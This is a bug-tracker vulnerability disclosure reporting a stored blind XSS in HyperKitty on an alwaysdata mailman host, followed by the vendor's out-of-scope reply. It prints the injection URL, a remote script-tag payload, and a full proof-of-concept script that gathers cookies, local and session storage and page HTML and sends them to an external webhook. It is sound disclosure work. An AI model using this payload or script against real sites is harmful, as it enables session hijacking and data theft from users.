- Status Closed
-
Assigned To
xlefloch - Private
Opened by raden - 31.05.2025
Last edited by cbay - 09.06.2025
FS#176 - Stored Blind XSS on https://mailman.alwaysdata.com
From:
Raden Adhiyaksa Indiharto
Security Researcher
Email: radenadhiyaksa89@gmail.com
To:
IT Team, Alwaysdata
https://alwaysdata.com
My name is Raden Adhiyaksa Indiharto, an independent security researcher. I have discovered a Stored Blind Cross-Site Scripting (XSS) vulnerability on the subdomain mailman.alwaysdata.com within the Hyperkitty application.
This vulnerability allows an attacker to inject malicious JavaScript code that is stored and later executed in the browsers of other users or administrators when accessing a specific page.
Vulnerability Details Type of Vulnerability: Stored Blind Cross-Site Scripting (XSS)
Vulnerable Parameter: ?page=
Affected URL:
https://mailman.alwaysdata.com/hyperkitty/?page=%3Cscript%20src%3D%22https%3A%2F%2Fradenadhiyaksa.github.io%2Fbxss-stealth%2Fstealth.js%22%3E%3C%2Fscript%3E&sort=active
Payload (URL Encoded):
<script src="https://radenadhiyaksa.github.io/bxss-stealth/stealth.js"></script>
Impact
- The payload is stored and rendered within the page, executed silently when the vulnerable URL is loaded by other users (admin/user).
- This may allow attackers to steal cookies, hijack sessions, or gather sensitive information stealthily.
Proof of Concept (PoC) I created an external JavaScript file that collects user environment data and sends it to a webhook I control. This demonstrates successful execution of the injected script on the victim’s browser:
stealth.js script:
(function () { const data = { cookie: document.cookie, location: location.href, referrer: document.referrer, userAgent: navigator.userAgent, platform: navigator.platform, timezone: Intl.DateTimeFormat().resolvedOptions().timeZone, screen: { width: screen.width, height: screen.height }, localStorage: JSON.stringify(localStorage), sessionStorage: JSON.stringify(sessionStorage), html: document.documentElement?.outerHTML?.slice(0, 1000), ts: new Date().toISOString(), id: Math.random().toString(36).substring(2) }; // Kirim via fetch (utama) fetch("https://236fb3a628ae3f3aef9dc3bd171c41c6.m.pipedream.net", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(data) }).catch(() => { // Fallback jika fetch gagal new Image().src = `https://236fb3a628ae3f3aef9dc3bd171c41c6.m.pipedream.net/?id=${data.id}&url=${encodeURIComponent(location.href)}&ref=${encodeURIComponent(document.referrer)}`; }); })();
This script is executed automatically when the vulnerable page is loaded, confirming the presence of stored XSS.
Recommendations
- Sanitize and escape user input in all parameters, especially the page parameter, before rendering them in HTML.
- Implement strict input validation and whitelist allowed characters.
- Use secure templating engines or frameworks that automatically handle escaping to prevent XSS.
- Consider enforcing a strong Content Security Policy (CSP) to restrict script sources.
I hope this report assists in enhancing the security of your platform. Please feel free to contact me if you require any further information or assistance in verifying and fixing this vulnerability.
Thank you for your attention and commitment to security.
Sincerely,
Raden Adhiyaksa Indiharto
Security Researcher
email: radenadhiyaksa89@gmail.com GitHub: https://github.com/radenadhiyaksa
Additional Note: Please let me know if you would like me to proceed with further exploitation and testing to better assess the impact of this vulnerability, or if you prefer to handle the remediation from this point onwards.
Link Video and Picture Proof of Concept [https://drive.google.com/drive/folders/1YcUBTOL5SmuPJ7QkdGXbj3YN3L-v7WHL?usp=sharing]
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task
Hello,
mailman.alwaysdata.com is not in the scope of the bug bounty program. Regarding this vulnerability, we will be updating HyperKitty soon; however, it doesn't appear that this vulnerability has been fixed in recent versions.
Regards,
Thank you for your response.
I understand that mailman.alwaysdata.com is not within the scope of your bug bounty program. I appreciate the clarification.
I’m glad to hear that you plan to update HyperKitty soon. Please don’t hesitate to reach out if any further details about the vulnerability are needed from my side to assist with the remediation process.
Thank you again for your time and for considering the report.
Best Regards,